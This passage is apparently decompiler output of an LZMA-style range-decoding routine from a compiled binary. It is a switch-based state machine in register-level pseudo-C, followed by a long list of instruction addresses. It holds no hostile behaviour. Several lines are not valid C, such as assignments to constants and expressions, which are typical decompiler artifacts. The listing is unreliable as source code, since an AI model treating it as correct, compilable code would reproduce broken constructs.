							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00405ead
0x00405eb4
0x00405eba
0x00405ec0
0x00000000
0x00405ec4
0x00405ed0
0x00405ed0
0x00405ed0
0x00405ed9
0x00000000
0x00000000
0x00405edf
0x00000000
0x00405ee6
0x00405eea
0x00000000
0x00000000
0x00405ef3
0x00405ef6
0x00405ef9
0x00405efb
0x00405efd
0x00000000
0x00000000
0x00405f03
0x00405f06
0x00405f08
0x00405f09
0x00405f0c
0x00405f0e
0x00405f0f
0x00405f11
0x00405f14
0x00405f19
0x00405f1e
0x00405f27
0x00405f3a
0x00405f3d
0x00405f46
0x00405f49
0x00405f71
0x00405f71
0x00405f73
0x00405f81
0x00405f81
0x00405f85
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f75
0x00405f75
0x00405f78
0x00405f78
0x00405f79
0x00405f79
0x00000000
0x00405f75
0x00405f4b
0x00405f4f
0x00405f54
0x00405f54
0x00405f5d
0x00405f63
0x00405f65
0x00405f68
0x00000000
0x00405f6e
0x00405f6e
0x00000000
0x00405f6e
0x00000000
0x00405f8b
0x00405f8b
0x00405f8f
0x0040683b
0x00000000
0x0040683b
0x00405f98
0x00405fa8
0x00405fab
0x00405fae
0x00405fae
0x00405fae
0x00405fb1
0x00405fb1
0x00405fb5
0x00000000
0x00000000
0x00405fb7
0x00405fba
0x00405fbd
0x00405fe7
0x00405fed
0x00405ff4
0x00000000
0x00405ff4
0x00405fbf
0x00405fc3
0x00405fc6
0x00405fcb
0x00405fcb
0x00405fd6
0x00405fdc
0x00405fde
0x00405fe1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406026
0x0040602c
0x0040602f
0x0040603c
0x00406044
0x00000000
0x00000000
0x00405ffb
0x00405ffb
0x00405fff
0x0040684a
0x00000000
0x0040684a
0x0040600b
0x00406016
0x00406016
0x00406016
0x00406019
0x0040601c
0x0040601f
0x00406022
0x00406024
0x00000000
0x00000000
0x00000000
0x00000000
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066ca
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406700
0x00406707
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406709
0x00406709
0x0040670d
0x004068bc
0x00000000
0x004068bc
0x00406719
0x00406720
0x00406728
0x00406728
0x00406728
0x0040672b
0x0040672e
0x0040672e
0x00000000
0x00000000
0x0040604c
0x0040604e
0x00406051
0x004060c2
0x004060c5
0x004060c8
0x004060cf
0x004060d9
0x00000000
0x004060d9
0x00406053
0x00406057
0x0040605a
0x0040605c
0x0040605f
0x00406062
0x00406064
0x00406067
0x00406069
0x0040606e
0x00406071
0x00406074
0x00406078
0x0040607f
0x00406082
0x00406089
0x0040608d
0x00406095
0x00406095
0x00406095
0x0040608f
0x0040608f
0x0040608f
0x00406084
0x00406084
0x00406084
0x00406099
0x0040609c
0x004060ba
0x004060bc
0x00000000
0x004060bc
0x0040609e
0x004060a1
0x004060a4
0x004060a7
0x004060a9
0x004060a9
0x004060a9
0x004060ac
0x004060af
0x004060b1
0x004060b2
0x004060b5
0x00000000
0x00000000
0x004062eb
0x004062ef
0x0040630d
0x00406310
0x00406317
0x0040631a
0x0040631d
0x00406320
0x00406323
0x00406326
0x00406328
0x0040632f
0x00406330
0x00406332
0x00406335
0x00406338
0x0040633b
0x0040633b
0x00406340
0x00000000
0x00406340
0x004062f1
0x004062f4
0x004062f7
0x00406301
0x00000000
0x00000000
0x00406355
0x00406359
0x0040637c
0x0040637f
0x00406382
0x0040638c
0x0040635b
0x0040635b
0x0040635e
0x00406361
0x00406364
0x00406371
0x00406374
0x00406374
0x00000000
0x00000000
0x00406398
0x0040639c
0x00000000
0x00000000
0x004063a2
0x004063a6
0x00000000
0x00000000
0x004063ac
0x004063ae
0x004063b2
0x004063b2
0x004063b5
0x004063b9
0x00000000
0x00000000
0x00406409
0x0040640d
0x00406414
0x00406417
0x0040641a
0x00406424
0x00000000
0x00406424
0x0040640f
0x00000000
0x00000000
0x00406430
0x00406434
0x0040643b
0x0040643e
0x00406441
0x00406436
0x00406436
0x00406436
0x00406444
0x00406447
0x0040644a
0x0040644a
0x0040644d
0x00406450
0x00406453
0x00406453
0x00406456
0x0040645d
0x00406462
0x00000000
0x00000000
0x004064f0
0x004064f0
0x004064f4
0x00406892
0x00000000
0x00406892
0x004064fa
0x004064fd
0x00406500
0x00406504
0x00406507
0x0040650d
0x0040650f
0x0040650f
0x0040650f
0x00406512
0x00406515
0x00000000
0x00000000
0x004060e5
0x004060e5
0x004060e9
0x00406856
0x00000000
0x00406856
0x004060ef
0x004060f2
0x004060f5
0x004060f9
0x004060fc
0x00406102
0x00406104
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610a
0x0040610d
0x00406110
0x00000000
0x00000000
0x00406116
0x0040611c
0x00000000
0x00000000
0x00406122
0x00406122
0x00406126
0x00406129
0x0040612c
0x0040612f
0x00406132
0x00406133
0x00406136
0x00406138
0x0040613e
0x00406141
0x00406144
0x00406147
0x0040614a
0x0040614d
0x00406150
0x0040616c
0x0040616f
0x00406172
0x00406175
0x0040617c
0x00406180
0x00406182
0x00406186
0x00406152
0x00406152
0x00406156
0x0040615e
0x00406163
0x00406165
0x00406167
0x00406167
0x00406189
0x00406190
0x00406193
0x00000000
0x00406199
0x00000000
0x00406199
0x00000000
0x0040619e
0x0040619e
0x004061a2
0x00406862
0x00000000
0x00406862
0x004061a8
0x004061ab
0x004061ae
0x004061b2
0x004061b5
0x004061bb
0x004061bd
0x004061bd
0x004061bd
0x004061c0
0x004061c3
0x004061c3
0x004061c3
0x004061c9
0x00000000
0x00000000
0x004061cb
0x004061ce
0x004061d1
0x004061d4
0x004061d7
0x004061da
0x004061dd
0x004061e0
0x004061e3
0x004061e6
0x004061e9
0x00406201
0x00406204
0x00406207
0x0040620a
0x0040620a
0x0040620d
0x00406211
0x00406213
0x004061eb
0x004061eb
0x004061f3
0x004061f8
0x004061fa
0x004061fc
0x004061fc
0x00406216
0x0040621d
0x00406220
0x00000000
0x00406222
0x00000000
0x00406222
0x00406220
0x00406227
0x00406227
0x00406227
0x00406227
0x00000000
0x00000000
0x00406262
0x00406262
0x00406266
0x0040686e
0x00000000
0x0040686e
0x0040626c
0x0040626f
0x00406272
0x00406276
0x00406279
0x0040627f
0x00406281
0x00406281
0x00406281
0x00406284
0x00406287
0x00406287
0x0040628d
0x0040622b
0x0040622b
0x0040622e
0x00000000
0x0040622e
0x0040628f
0x0040628f
0x00406292
0x00406295
0x00406298
0x0040629b
0x0040629e
0x004062a1
0x004062a4
0x004062a7
0x004062aa
0x004062ad
0x004062c5
0x004062c8
0x004062cb
0x004062ce
0x004062ce
0x004062d1
0x004062d5
0x004062d7
0x004062af
0x004062af
0x004062b7
0x004062bc
0x004062be
0x004062c0
0x004062c0
0x004062da
0x004062e1
0x004062e4
0x00000000
0x004062e6
0x00000000
0x004062e6
0x00000000
0x00406573
0x00406573
0x00406577
0x0040689e
0x00000000
0x0040689e
0x0040657d
0x00406580
0x00406583
0x00406587
0x0040658a
0x00406590
0x00406592
0x00406592
0x00406592
0x00406595
0x00000000
0x00000000
0x00406343
0x00406343
0x00406346
0x00000000
0x00000000
0x00406682
0x00406686
0x004066a8
0x004066ab
0x004066b5
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x00406688
0x0040668b
0x0040668f
0x00406692
0x00406692
0x00406695
0x00000000
0x00000000
0x0040673f
0x00406743
0x00406761
0x00406761
0x00406761
0x00406768
0x0040676f
0x00406776
0x00406776
0x00000000
0x00406776
0x00406745
0x00406748
0x0040674b
0x0040674e
0x00406755
0x00406699
0x00406699
0x0040669c
0x00000000
0x00000000
0x00406830
0x00406833
0x00000000
0x00000000
0x0040646a
0x0040646c
0x00406473
0x00406474
0x00406476
0x00406479
0x00000000
0x00000000
0x00406481
0x00406484
0x00406487
0x00406489
0x0040648b
0x0040648b
0x0040648c
0x0040648f
0x00406496
0x00406499
0x004064a7
0x00000000
0x00000000
0x0040677d
0x0040677d
0x00406780
0x00406787
0x00000000
0x00000000
0x0040678c
0x0040678c
0x00406790
0x004068c8
0x00000000
0x004068c8
0x00406796
0x00406799
0x0040679c
0x004067a0
0x004067a3
0x004067a9
0x004067ab
0x004067ab
0x004067ab
0x004067ae
0x004067b1
0x004067b1
0x004067b1
0x004067b1
0x004067b4
0x004067b4
0x004067b8
0x00406818
0x0040681b
0x00406820
0x00406821
0x00406823
0x00406825
0x00406828
0x00406734
0x00406734
0x00000000
0x00406734
0x004067ba
0x004067c0
0x004067c3
0x004067c6
0x004067c9
0x004067cc
0x004067cf
0x004067d2
0x004067d5
0x004067d8
0x004067db
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406801
0x00406803
0x00406803
0x00406804
0x00406807
0x004067dd
0x004067dd
0x004067e5
0x004067ea
0x004067ec
0x004067ef
0x004067ef
0x0040680a
0x00406811
0x00000000
0x00406813
0x00000000
0x00406813
0x00000000
0x004064af
0x004064b2
